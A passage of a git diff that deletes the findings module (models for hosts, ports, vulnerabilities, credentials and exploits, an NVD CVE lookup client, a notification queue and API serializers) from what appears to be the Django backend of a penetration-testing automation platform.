2023-01-05 15:42 - -from django.db import migrations, models - - -class Migration(migrations.Migration): - - dependencies = [ - ('findings', '0001_initial'), - ] - - operations = [ - migrations.AlterField( - model_name='osint', - name='data_type', - field=models.TextField(choices=[('IP', 'Ip'), ('Domain', 'Domain'), ('VHOST', 'Vhost'), ('Url', 'Url'), ('Email', 'Email'), ('Link', 'Link'), ('ASN', 'Asn'), ('Username', 'User'), ('Password', 'Password')], max_length=10), - ), - ] diff --git a/src/backend/findings/migrations/__init__.py b/src/backend/findings/migrations/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py deleted file mode 100644 index c79df9d2f..000000000 --- a/src/backend/findings/models.py +++ /dev/null @@ -1,653 +0,0 @@ -from typing import Any, Dict, List, Union, cast - -from defectdojo.constants import DD_DATE_FORMAT -from django.db import models -from executions.models import Execution -from input_types.base import BaseInput -from input_types.enums import InputKeyword -from input_types.utils import get_url -from projects.models import Project -from targets.enums import TargetType -from targets.utils import get_target_type -from tools.models import Input, Tool - -from findings.enums import (DataType, OSType, PathType, PortStatus, Protocol, - Severity) -from findings.utils import get_unique_filter - -# Create your models here. - - -def create_finding_foreign_key(model: Union[models.Model, str], name: str) -> models.ForeignKey: - '''Create a foreign key field to create a relationship between two Finding models. - - Args: - model (Union[models.Model, str]): Finding model of the foreign key - name (str): Related name of the foreign key - - Returns: - models.ForeignKey: Foreign key field - ''' - return models.ForeignKey(model, related_name=name, on_delete=models.DO_NOTHING, blank=True, null=True) - - -class Finding(models.Model, BaseInput): - '''Common and abstract Finding model, to define the common fields for all Finding models.''' - - # Execution where the finding is found - executions = models.ManyToManyField(Execution, related_name='%(class)s') - detected_by = models.ForeignKey(Tool, on_delete=models.SET_NULL, blank=True, null=True) - first_seen = models.DateTimeField(auto_now_add=True) # First date when the finding appear - last_seen = models.DateTimeField(auto_now_add=True) # Last date when the finding appear - is_active = models.BooleanField(default=True) # Indicate if the finding is active - - key_fields: List[Dict[str, Any]] = [] # Unique field list - - class Meta: - '''Model metadata.''' - - abstract = True # To be extended by Finding models - - def __hash__(self) -> int: - '''Get an unique value based on the object unique fields. - - Returns: - int: Calculated unique value - ''' - hash_fields = [] - # Get unique filter from key fields - unique_filter = get_unique_filter(self.key_fields, vars(self), self.executions.first().task.target) - for value in unique_filter.values(): - hash_fields.append(value) # Add values to the calculation - return hash(tuple(hash_fields)) # Hash calculation - - def __eq__(self, o: object) -> bool: - '''Check if other object is equals to this object. - - Args: - o (object): Other object to compare - - Returns: - bool: Indicate if both objects are equal or not - ''' - if isinstance(o, self.__class__): # Check object class - equals = True - # Get object unique filter from object key fields - other_filter = get_unique_filter(o.key_fields, vars(o), o.executions.first().task.target) - self_filter = get_unique_filter(self.key_fields, vars(self), self.executions.first().task.target) - # Get unique filter from key fields - for key, value in self_filter.items(): - equals = equals and (other_filter.get(key) == value) # Compare all key fields - return equals - return False - - def get_project(self) -> Project: - '''Get the related project for the instance. This will be used for authorization purposes. - - Returns: - Project: Related project entity - ''' - return self.executions.first().task.target.project - - -class OSINT(Finding): - '''OSINT model.''' - - data = models.TextField(max_length=250) # OSINT data found - data_type = models.TextField(max_length=10, choices=DataType.choices) # OSINT data type - source = models.TextField(max_length=50, blank=True, null=True) # Source where data has been found - reference = models.TextField(max_length=250, blank=True, null=True) # Reference associated to the data - - key_fields: List[Dict[str, Any]] = [ # Unique field list - {'name': 'data', 'is_base': False}, - {'name': 'data_type', 'is_base': False} - ] - - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. - - Args: - accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. - - Returns: - Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' - if self.data_type in [DataType.IP, DataType.DOMAIN]: - return { - InputKeyword.TARGET.name.lower(): self.data, - InputKeyword.HOST.name.lower(): self.data, - InputKeyword.URL.name.lower(): get_url(self.data) - } - return {} - - def defect_dojo(self) -> Dict[str, Any]: - '''Get useful information to import this finding in Defect-Dojo. - - Returns: - Dict[str, Any]: Useful information for Defect-Dojo imports - ''' - return { - 'title': f'{self.data_type} found using OSINT techniques', - 'description': self.data, - 'severity': str(Severity.MEDIUM), - 'date': self.last_seen.strftime(DD_DATE_FORMAT) - } - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return self.data - - -class Host(Finding): - '''Host model.''' - - address = models.TextField(max_length=30) # Host address - os = models.TextField(max_length=250, blank=True, null=True) # OS full specification - os_type = models.TextField(max_length=10, choices=OSType.choices, default=OSType.OTHER) # OS categorization - - key_fields: List[Dict[str, Any]] = [ # Unique field list - {'name': 'address', 'is_base': False} - ] - - def filter(self, input: Input) -> bool: - '''Check if this instance is valid based on input filter. - - Args: - input (Input): Tool input whose filter will be applied - - Returns: - bool: Indicate if this instance match the input filter or not - ''' - if not input.filter: - return True - try: - distinct = input.filter[0] == '!' - filter_types = [ - cast(models.TextChoices, TargetType)[f.upper()] for f in input.filter.replace('!', '').split(',s') - ] - host_type = get_target_type(self.address) - return host_type not in filter_types if distinct else host_type in filter_types - except KeyError: - return True - - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. - - Args: - accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. - - Returns: - Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' - return { - InputKeyword.TARGET.name.lower(): self.address, - InputKeyword.HOST.name.lower(): self.address, - InputKeyword.URL.name.lower(): get_url(self.address), - } - - def defect_dojo(self) -> Dict[str, Any]: - '''Get useful information to import this finding in Defect-Dojo. - - Returns: - Dict[str, Any]: Useful information for Defect-Dojo imports - ''' - description = self.address - if self.os: - description += '- {self.os} ({self.os_type})' - return { - 'title': 'Host discovered', - 'description': description, - 'severity': str(Severity.INFO), - 'date': self.last_seen.strftime(DD_DATE_FORMAT) - } - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return self.address - - -class Port(Finding): - '''Port model.''' - - host = create_finding_foreign_key(Host, 'port') # Host where the port is discovered - port = models.IntegerField() # Port number - status = models.TextField(max_length=15, choices=PortStatus.choices, default=PortStatus.OPEN) # Port status - protocol = models.TextField(max_length=5, choices=Protocol.choices, blank=True, null=True) # Transport protocol - service = models.TextField(max_length=50, blank=True, null=True) # Service protocol if found - - key_fields: List[Dict[str, Any]] = [ # Unique field list - {'name': 'host_id', 'is_base': True}, - {'name': 'port', 'is_base': False}, - {'name': 'protocol', 'is_base': False}, - ] - - def filter(self, input: Input) -> bool: - '''Check if this instance is valid based on input filter. - - Args: - input (Input): Tool input whose filter will be applied - - Returns: - bool: Indicate if this instance match the input filter or not - ''' - if not input.filter: - return True - try: - to_check = int(input.filter) - # If the filter is a number, will be filtered by port - return to_check == self.port - except ValueError: - # If the filter is a string, will be filtered by service - return input.filter.lower() in self.service.lower() - - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. - - Args: - accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. - - Returns: - Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' - output = { - InputKeyword.TARGET.name.lower(): f'{self.host.address}:{self.port}', - InputKeyword.HOST.name.lower(): self.host.address, - InputKeyword.PORT.name.lower(): self.port, - InputKeyword.PORTS.name.lower(): [self.port], - InputKeyword.URL.name.lower(): get_url(self.host.address, self.port), - } - if accumulated and InputKeyword.PORTS.name.lower() in accumulated: - output[InputKeyword.PORTS.name.lower()] = accumulated[InputKeyword.PORTS.name.lower()] - output[InputKeyword.PORTS.name.lower()].append(self.port) - output[InputKeyword.PORTS_COMMAS.name.lower()] = ','.join([str(p) for p in output[InputKeyword.PORTS.name.lower()]]) # noqa: E501 - return output - - def defect_dojo(self) -> Dict[str, Any]: - '''Get useful information to import this finding in Defect-Dojo. - - Returns: - Dict[str, Any]: Useful information for Defect-Dojo imports - ''' - description = f'{self.port} - {self.status} - {self.protocol} - {self.service}' - if self.host: - description = f'{self.host.address} - {description}' - return { - 'title': 'Port discovered', - 'description': description, - 'severity': str(Severity.INFO), - 'date': self.last_seen.strftime(DD_DATE_FORMAT) - } - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return f'{self.host.__str__()} - {self.port}' if self.host else str(self.port) - - -class Path(Finding): - '''Path model.''' - - port = create_finding_foreign_key(Port, 'path') # Port where path is discovered - path = models.TextField(max_length=500) # Path value - # Status receive for that path. Probably HTTP status - status = models.IntegerField(blank=True, null=True) - extra = models.TextField(max_length=100, blank=True, null=True) # Extra information related to the path - # Path type depending on the protocol where it's found - type = models.TextField(choices=PathType.choices, default=PathType.ENDPOINT) - - key_fields: List[Dict[str, Any]] = [ # Unique field list - {'name': 'port_id', 'is_base': True}, - {'name': 'path', 'is_base': False} - ] - - def filter(self, input: Input) -> bool: - '''Check if this instance is valid based on input filter. - - Args: - input (Input): Tool input whose filter will be applied - - Returns: - bool: Indicate if this instance match the input filter or not - ''' - if not input.filter: - return True - try: - # If filter is a valid severity, vulnerability will be filtered by severity - return cast(models.TextChoices, PathType)[input.filter.upper()] == self.type - except KeyError: - try: - status_code = int(input.filter) - # If the filter is a number, will be filtered by status - return status_code == self.status - except ValueError: - # If the filter is a string, will be filtered by path - return input.filter in self.path - - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. - - Args: - accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. - - Returns: - Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' - output = self.port.parse() if self.port else {} - if self.type == PathType.ENDPOINT: - output[InputKeyword.URL.name.lower()] = get_url( - self.port.host.address, - self.port.port, - self.path - ) - output[InputKeyword.ENDPOINT.name.lower()] = self.path - return output - - def defect_dojo(self) -> Dict[str, Any]: - '''Get useful information to import this finding in Defect-Dojo. - - Returns: - Dict[str, Any]: Useful information for Defect-Dojo imports - ''' - return { - 'protocol': self.port.service if self.port else None, - 'host': self.port.host.address if self.port else None, - 'port': self.port.port if self.port else None, - 'path': self.path - } - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return f'{self.port.__str__()} - {self.path}' if self.port else self.path - - -class Technology(Finding): - '''Technology model.''' - - port = create_finding_foreign_key(Port, 'technology') # Port where technology is discovered - name = models.TextField(max_length=100) # Technology name - version = models.TextField(max_length=100, blank=True, null=True) # Technology version - description = models.TextField(max_length=200, blank=True, null=True) # Technology description - related_to = create_finding_foreign_key('Technology', 'related_technologies') # Related technology if exists - reference = models.TextField(max_length=250, blank=True, null=True) # Technology reference - - key_fields: List[Dict[str, Any]] = [ # Unique field list - {'name': 'port_id', 'is_base': True}, - {'name': 'name', 'is_base': False} - ] - - def filter(self, input: Input) -> bool: - '''Check if this instance is valid based on input filter. - - Args: - input (Input): Tool input whose filter will be applied - - Returns: - bool: Indicate if this instance match the input filter or not - ''' - return not input.filter or input.filter.lower() in self.name.lower() # Filter by technology name - - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. - - Args: - accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. - - Returns: - Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' - output = self.port.parse() if self.port else {} - output[InputKeyword.TECHNOLOGY.name.lower()] = self.name - if self.version: - output[InputKeyword.VERSION.name.lower()] = self.version - return output - - def defect_dojo(self) -> Dict[str, Any]: - '''Get useful information to import this finding in Defect-Dojo. - - Returns: - Dict[str, Any]: Useful information for Defect-Dojo imports - ''' - return { - 'title': f'Technology {self.name} detected', - 'description': self.description if self.description else f'{self.name} {self.version}', - 'severity': str(Severity.LOW), - 'cwe': 200, # CWE-200: Exposure of Sensitive Information to Unauthorized Actor - 'references': self.reference, - 'date': self.last_seen.strftime(DD_DATE_FORMAT) - } - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return f'{self.port.__str__()} - {self.name}' if self.port else self.name - - -class Credential(Finding): - '''Credential model.''' - - # Technology where credentials are discovered - technology = create_finding_foreign_key(Technology, 'technology') - email = models.TextField(max_length=100, blank=True, null=True) # Email if found - username = models.TextField(max_length=100, blank=True, null=True) # Username if found - secret = models.TextField(max_length=300, blank=True, null=True) # Secret (password, key, etc.) if found - context = models.TextField(max_length=300, blank=True, null=True) # Context information about credential - - key_fields: List[Dict[str, Any]] = [ # Unique field list - {'name': 'email', 'is_base': False}, - {'name': 'username', 'is_base': False}, - {'name': 'secret', 'is_base': False} - ] - - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. - - Args: - accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. - - Returns: - Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' - return { - InputKeyword.EMAIL.name.lower(): self.email, - InputKeyword.USERNAME.name.lower(): self.username, - InputKeyword.SECRET.name.lower(): self.secret, - } - - def defect_dojo(self) -> Dict[str, Any]: - '''Get useful information to import this finding in Defect-Dojo. - - Returns: - Dict[str, Any]: Useful information for Defect-Dojo imports - ''' - description = ' - '.join([getattr(self, f) for f in ['email', 'username', 'secret']]) - return { - 'title': 'Credentials exposure', - 'description': description, - 'cwe': 200, # CWE-200: Exposure of Sensitive Information to Unauthorized Actor - 'severity': str(Severity.HIGH), - 'date': self.last_seen.strftime(DD_DATE_FORMAT) - } - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - text = f'{self.email} - {self.username} - {self.secret}' - if self.technology: - text = f'{self.technology.__str__()} - {text}' - return text - - -class Vulnerability(Finding): - '''Vulnerability model.''' - - # Technology where vulnerability is found - technology = create_finding_foreign_key(Technology, 'vulnerability') - # Port where vulnerability is found. Only if technology is null - port = create_finding_foreign_key(Port, 'vulnerability') - name = models.TextField(max_length=50) # Vulnerability name - description = models.TextField(blank=True, null=True) # Vulnerability description - severity = models.TextField(choices=Severity.choices, default=Severity.MEDIUM) # Vulnerability severity - cve = models.TextField(max_length=20, blank=True, null=True) # CVE - cwe = models.TextField(max_length=20, blank=True, null=True) # CWE - osvdb = models.TextField(max_length=20, blank=True, null=True) # OSVDB - reference = models.TextField(max_length=250, blank=True, null=True) # Vulnerability reference - - key_fields: List[Dict[str, Any]] = [ # Unique field list - {'name': 'technology_id', 'is_base': True}, - {'name': 'port_id', 'is_base': True}, - {'name': 'cve', 'is_base': False}, - {'name': 'name', 'is_base': False} - ] - - def filter(self, input: Input) -> bool: - '''Check if this instance is valid based on input filter. - - Args: - input (Input): Tool input whose filter will be applied - - Returns: - bool: Indicate if this instance match the input filter or not - ''' - if not input.filter: - return True - try: - # If filter is a valid severity, vulnerability will be filtered by severity - return cast(models.TextChoices, Severity)[input.filter.upper()] == self.severity - except KeyError: - f = input.filter.lower() - # If filter is a string, vulnerability will be filtered by: - return ( - (self.cve and (f == 'cve' or (f.startswith('cve-') and f == self.cve.lower()))) or # CVE - (self.cwe and (f.startswith('cwe-') and f == self.cwe.lower())) # CWE - ) - - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. - - Args: - accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. - - Returns: - Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' - output = {} - if self.technology: - output = self.technology.parse() - elif self.port: - output = self.port.parse() - if self.cve: - output[InputKeyword.CVE.name.lower()] = self.cve - return output - - def defect_dojo(self) -> Dict[str, Any]: - '''Get useful information to import this finding in Defect-Dojo. - - Returns: - Dict[str, Any]: Useful information for Defect-Dojo imports - ''' - return { - 'title': self.name, - 'description': self.description, - 'severity': Severity(self.severity).value, - 'cve': self.cve, - 'cwe': int(self.cwe.split('-', 1)[1]) if self.cwe else None, - 'references': self.reference, - 'date': self.last_seen.strftime(DD_DATE_FORMAT) - } - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - text = self.name - if self.technology: - text = f'{self.technology.__str__()} - {self.name}' - elif self.port: - text = f'{self.port.__str__()} - {self.name}' - if self.cve: - text = f'{text} - {self.cve}' - return text - - -class Exploit(Finding): - '''Exploit model.''' - - vulnerability = create_finding_foreign_key(Vulnerability, 'exploit') # Vulnerability that the exploit abuses - # Technology that the exploit abuses. Only if vulnerability is null - technology = create_finding_foreign_key(Technology, 'exploit') - title = models.TextField(max_length=100) # Exploit title - edb_id = models.IntegerField(blank=True, null=True) # Id in Exploit-DB - reference = models.TextField(max_length=250, blank=True, null=True) # Exploit reference - - key_fields: List[Dict[str, Any]] = [ # Unique field list - {'name': 'vulnerability_id', 'is_base': True}, - {'name': 'technology_id', 'is_base': True}, - {'name': 'reference', 'is_base': False} - ] - - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. - - Args: - accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. - - Returns: - Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' - output = {} - if self.vulnerability: - output = self.vulnerability.parse() - elif self.technology: - output = self.technology.parse() - output[InputKeyword.EXPLOIT.name.lower()] = self.title - return output - - def defect_dojo(self) -> Dict[str, Any]: - '''Get useful information to import this finding in Defect-Dojo. - - Returns: - Dict[str, Any]: Useful information for Defect-Dojo imports - ''' - return { - 'title': f'Exploit {self.edb_id} found' if self.edb_id else 'Exploit found', - 'description': self.title, - 'severity': Severity(self.vulnerability.severity).value if self.vulnerability else str(Severity.MEDIUM), - 'reference': self.reference, - 'date': self.last_seen.strftime(DD_DATE_FORMAT) - } - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - text = self.title - if self.vulnerability: - text = f'{self.vulnerability.__str__()} - {self.title}' - elif self.technology: - text = f'{self.technology.__str__()} - {self.title}' - return text diff --git a/src/backend/findings/nvd_nist.py b/src/backend/findings/nvd_nist.py deleted file mode 100644 index 68b4f072c..000000000 --- a/src/backend/findings/nvd_nist.py +++ /dev/null @@ -1,106 +0,0 @@ -import logging -from urllib.parse import urlparse - -import requests -from requests.adapters import HTTPAdapter, Retry - -from findings.enums import Severity - -# Mapping between severity values and CVSS values -CVSS_RANGES = { - Severity.CRITICAL: (9, 10), - Severity.HIGH: (7, 9), - Severity.MEDIUM: (4, 7), - Severity.LOW: (2, 4), - Severity.INFO: (0, 2) -} - -logger = logging.getLogger() # Rekono logger - - -class NvdNist: - '''NVD NIST API handler to get information for a CVE code.''' - - api_url_pattern = 'https://services.nvd.nist.gov/rest/json/cve/1.0/{cve}' # API Rest URL - cve_reference_pattern = 'https://nvd.nist.gov/vuln/detail/{cve}' # CVE reference format - - def __init__(self, cve: str) -> None: - '''NVE NIST API constructor. - - Args: - cve (str): CVE code - ''' - self.cve = cve - self.reference = self.cve_reference_pattern.format(cve=cve) # CVE reference - self.raw_cve_info = self.request() # CVE raw information - self.description = self.parse_description() if self.raw_cve_info else '' # CVE description - self.cwe = self.parse_cwe() if self.raw_cve_info else None # CVE weakness as CWE code - # CVE severity based on CVSS score - self.severity = self.parse_severity() if self.raw_cve_info else Severity.MEDIUM - - def request(self) -> dict: - '''Get information from a CVE using the NVD NIST API Rest. - - Returns: - dict: Raw NVD NIST CVE information - ''' - schema = urlparse(self.api_url_pattern).scheme # Get API schema - session = requests.Session() # Create HTTP session - # Configure retry protocol to prevent unexpected errors - # Free NVD NIST API has a rate limit of 10 requests by second - retries = Retry(total=10, backoff_factor=1, status_forcelist=[403, 500, 502, 503, 504, 599]) - session.mount(f'{schema}://', HTTPAdapter(max_retries=retries)) - try: - response = session.get(self.api_url_pattern.format(cve=self.cve)) - except requests.exceptions.ConnectionError: - response = session.get(self.api_url_pattern.format(cve=self.cve)) - logger.info(f'[NVD NIST] GET {self.cve} > HTTP {response.status_code}') - return response.json()['result']['CVE_Items'][0] if response.status_code == 200 else {} - - def parse_description(self) -> str: - '''Get description from raw CVE information. - - Returns: - str: CVE description - ''' - for d in self.raw_cve_info['cve']['description']['description_data'] or []: - if d.get('lang') == 'en': - return d.get('value') - return '' - - def parse_cwe(self) -> str: - '''Get CWE from raw CVE information. - - Returns: - str: CWE code - ''' - for item in self.raw_cve_info['cve']['problemtype']['problemtype_data'] or []: - descriptions = item.get('description') - if descriptions: - for desc in descriptions: - cwe = desc.get('value') - if not cwe: - continue - if cwe.lower().startswith('cwe-'): - return cwe - return '' - - def parse_severity(self) -> str: - '''Get severity value from raw CVE information, based on CVSS score. - - Returns: - Optional[str]: Severity value - ''' - score = 5 # Score by default: MEDIUM - if 'baseMetricV3' in self.raw_cve_info['impact']: - # Get CVSS version 3 if exists - score = self.raw_cve_info['impact']['baseMetricV3']['cvssV3']['baseScore'] - elif 'baseMetricV2' in self.raw_cve_info['impact']: - # Get CVSS version 2 if version 3 not found - score = self.raw_cve_info['impact']['baseMetricV2']['cvssV2']['baseScore'] - for severity in CVSS_RANGES.keys(): - down, up = CVSS_RANGES[severity] - # Search severity value based on CVSS ranges - if (score >= down and score < up) or (severity == Severity.CRITICAL and score >= down and score <= up): - return severity - return Severity.MEDIUM diff --git a/src/backend/findings/queue.py b/src/backend/findings/queue.py deleted file mode 100644 index 15617d47b..000000000 --- a/src/backend/findings/queue.py +++ /dev/null @@ -1,77 +0,0 @@ -import logging -from typing import List - -import django_rq -from defectdojo.exceptions import DefectDojoException -from defectdojo.reporter import report -from django_rq import job -from email_notifications import sender as email_sender -from executions.models import Execution -from telegram_bot import sender as telegram_sender -from telegram_bot.messages.execution import notification_messages -from users.enums import Notification - -from findings.models import Finding, Vulnerability -from findings.nvd_nist import NvdNist - -logger = logging.getLogger() # Rekono logger - - -def producer(execution: Execution, findings: List[Finding]) -> None: - '''Enqueue a list of findings in the findings queue. - - Args: - execution (Execution): Execution where the findings are discovered - findings (List[Finding]): Findings list to process - ''' - findings_queue = django_rq.get_queue('findings-queue') # Get findings queue - findings_queue.enqueue(consumer, execution=execution, findings=findings) # Enqueue findings list - logger.info(f'[Findings] {len(findings)} findings from execution {execution.id} have been enqueued') - - -@job('findings-queue') -def consumer(execution: Execution = None, findings: List[Finding] = []) -> None: - '''Consume jobs from findings queue and process them. - - Args: - execution (Execution, optional): Execution where the findings are discovered. Defaults to None. - findings (List[Finding], optional): Findings list to process. Defaults to []. - ''' - if execution and findings: - for finding in findings: # For each finding - if isinstance(finding, Vulnerability) and finding.cve: # If it's a vulnerability with CVE - nn_client = NvdNist(finding.cve) # NVD NIST request to get information - # Update vulnerability fields with the NIST information - finding.description = nn_client.description - finding.severity = nn_client.severity - finding.cwe = nn_client.cwe - finding.reference = nn_client.reference - finding.save(update_fields=['description', 'severity', 'cwe', 'reference']) - users_to_notify = [] - # Executor with enabled own executions notification - if execution.task.executor.notification_scope == Notification.OWN_EXECUTIONS: - users_to_notify.append(execution.task.executor) # Save executor user in the notify list - # Search project members with enabled all executions notification - search_members = execution.task.target.project.members.filter( - notification_scope=Notification.ALL_EXECUTIONS - ).all() - users_to_notify.extend(list(search_members)) # Save members in the notify list - logger.info(f'[Findings] {len(users_to_notify)} will receive a notification with the findings from execution {execution.id}') # noqa: E501 - telegram_messages = notification_messages(execution, findings) # Create Telegram message - for user in [u for u in users_to_notify if u.telegram_notification]: # Sometimes multiple messages are needed - for telegram_message in telegram_messages: - # For each user with enabled Telegram notifications - telegram_sender.send_message(user.telegram_chat.chat_id, telegram_message) # Telegram notification - # Email notifications - email_sender.execution_notifications( - [u.email for u in users_to_notify if u.email_notification], - execution, - findings - ) - if execution.task.target.project.defectdojo_synchronization: - try: - report(execution, findings) # Import execution in Defect-Dojo - except DefectDojoException: - # Prevent errors during the import in Defect-Dojo - # All the exceptions are managed inside the report function - pass diff --git a/src/backend/findings/serializers.py b/src/backend/findings/serializers.py deleted file mode 100644 index 686acb2a5..000000000 --- a/src/backend/findings/serializers.py +++ /dev/null @@ -1,128 +0,0 @@ -from findings.models import (OSINT, Credential, Exploit, Host, Path, Port, - Technology, Vulnerability) -from rest_framework import serializers -from tools.serializers import SimplyToolSerializer - - -class OSINTSerializer(serializers.ModelSerializer): - '''Serializer to get the OSINT data via API.''' - - detected_by = SimplyToolSerializer(many=False, read_only=True) # Tool details for read operations - - class Meta: - '''Serializer metadata.''' - - model = OSINT - fields = ( # OSINT fields exposed via API - 'id', 'executions', 'data', 'data_type', 'source', 'reference', - 'detected_by', 'first_seen', 'last_seen', 'is_active' - ) - - -class HostSerializer(serializers.ModelSerializer): - '''Serializer to get the Host data via API.''' - - detected_by = SimplyToolSerializer(many=False, read_only=True) # Tool details for read operations - - class Meta: - '''Serializer metadata.''' - - model = Host - fields = ( # Host fields exposed via API - 'id', 'executions', 'address', 'os', 'os_type', 'detected_by', - 'first_seen', 'last_seen', 'is_active', 'port' - ) - - -class PortSerializer(serializers.ModelSerializer): - '''Serializer to get the Port data via API.''' - - detected_by = SimplyToolSerializer(many=False, read_only=True) # Tool details for read operations - - class Meta: - '''Serializer metadata.''' - - model = Port - fields = ( # Port fields exposed via API - 'id', 'executions', 'host', 'port', 'status', 'protocol', 'service', - 'detected_by', 'first_seen', 'last_seen', 'is_active', 'path', 'technology', - 'vulnerability' - ) - - -class PathSerializer(serializers.ModelSerializer): - '''Serializer to get the Path data via API.''' - - detected_by = SimplyToolSerializer(many=False, read_only=True) # Tool details for read operations - - class Meta: - '''Serializer metadata.''' - - model = Path - fields = ( # Path fields exposed via API - 'id', 'executions', 'port', 'path', 'status', 'extra', 'type', - 'detected_by', 'first_seen', 'last_seen', 'is_active' - ) - - -class TechnologySerializer(serializers.ModelSerializer): - '''Serializer to get the Technology data via API.''' - - detected_by = SimplyToolSerializer(many=False, read_only=True) # Tool details for read operations - - class Meta: - '''Serializer metadata.''' - - model = Technology - fields = ( # Technology fields exposed via API - 'id', 'executions', 'port', 'name', 'version', 'description', 'reference', - 'related_to', 'related_technologies', 'detected_by', 'first_seen', 'last_seen', - 'is_active', 'vulnerability', 'exploit' - ) - - -class CredentialSerializer(serializers.ModelSerializer): - '''Serializer to get the Credential data via API.''' - - detected_by = SimplyToolSerializer(many=False, read_only=True) # Tool details for read operations - - class Meta: - '''Serializer metadata.''' - - model = Credential - # Credential fields exposed via API - fields = ( - 'id', 'technology', 'email', 'username', 'secret', 'context', - 'detected_by', 'first_seen', 'last_seen', 'is_active' - ) - - -class VulnerabilitySerializer(serializers.ModelSerializer): - '''Serializer to get the Vulnerability data via API.''' - - detected_by = SimplyToolSerializer(many=False, read_only=True) # Tool details for read operations - - class Meta: - '''Serializer metadata.''' - - model = Vulnerability - fields = ( # Vulnerability fields exposed via API - 'id', 'executions', 'port', 'technology', 'name', 'description', 'severity', - 'cve', 'cwe', 'reference', 'detected_by', 'first_seen', 'last_seen', - 'is_active', 'exploit' - ) - - -class ExploitSerializer(serializers.ModelSerializer): - '''Serializer to get the Exploit data via API.''' - - detected_by = SimplyToolSerializer(many=False, read_only=True) # Tool details for read operations - - class Meta: - '''Serializer metadata.''' - - model = Exploit - fields = ( # Exploit fields exposed via API - 'id', 'executions', 'vulnerability', 'technology', 'title', 'edb_id', - 'reference', 'detected_by', 'first_seen', 'last_seen', 'is_active' - ) diff --git a/src/backend/findings/urls.py b/src/backend/findings/urls.py deleted file mode 100644 index f1017ffde..000000000 --- a/src/backend/findings/urls.py +++ /dev/null @@ -1,19 +0,0 @@ -from findings.views import (CredentialViewSet, PathViewSet, - PortViewSet, ExploitViewSet, HostViewSet, - OSINTViewSet, TechnologyViewSet, - VulnerabilityViewSet) -from rest_framework.routers import SimpleRouter - -# Register your views here. - -router = SimpleRouter() -router.register('osint', OSINTViewSet) -router.register('hosts', HostViewSet) -router.register('ports', PortViewSet) -router.register('paths', PathViewSet) -router.register('technologies', TechnologyViewSet) -router.register('vulnerabilities', VulnerabilityViewSet) -router.register('credentials', CredentialViewSet) -router.register('exploits', ExploitViewSet) - -urlpatterns = router.urls diff --git a/src/backend/findings/utils.py b/src/backend/findings/utils.py deleted file mode 100644 index 7aaee76b7..000000000 --- a/src/backend/findings/utils.py +++ /dev/null @@ -1,28 +0,0 @@ -from typing import Any, Dict, List - -from targets.models import Target - - -def get_unique_filter(key_fields: List[Dict[str, Any]], fields: Dict[str, Any], target: Target) -> Dict[str, Any]: - '''Get filter from finding data and its key fields. - - Args: - key_fields (List[Dict[str, Any]]): Finding key fields - fields (Dict[str, Any]): Finding fields and values - target (Target): Execution where the finding is discovered - - Returns: - Dict[str, Any]: Filter with the key fields and values - ''' - base_field_found = False # Indicate if a base key field is found - unique_filter: Dict[str, Any] = {} - for field in key_fields: # For each key field - value = fields.get(field['name']) # Get value for the key field - # Only one base key field should be included in the filter - if value and (not base_field_found or not field.get('is_base')): - unique_filter[field['name']] = value # Add key field and value to the filter - if field.get('is_base'): - base_field_found = True # Update base indicator - if not base_field_found and target: # If no base field found, use target - unique_filter['executions__task__target'] = target # Add target value - return unique_filter diff --git a/src/backend/findings/views.py b/src/backend/findings/views.py deleted file mode 100644 index 01b45cb9d..000000000 --- a/src/backend/findings/views.py +++ /dev/null @@ -1,161 +0,0 @@ -from typing import Any -from urllib.request import Request - -from api.filters import RekonoFilterBackend -from drf_spectacular.utils import extend_schema -from rest_framework import status -from rest_framework.decorators import action -from rest_framework.filters import OrderingFilter, SearchFilter -from rest_framework.mixins import (DestroyModelMixin, ListModelMixin, - RetrieveModelMixin) -from rest_framework.response import Response -from rest_framework.viewsets import GenericViewSet 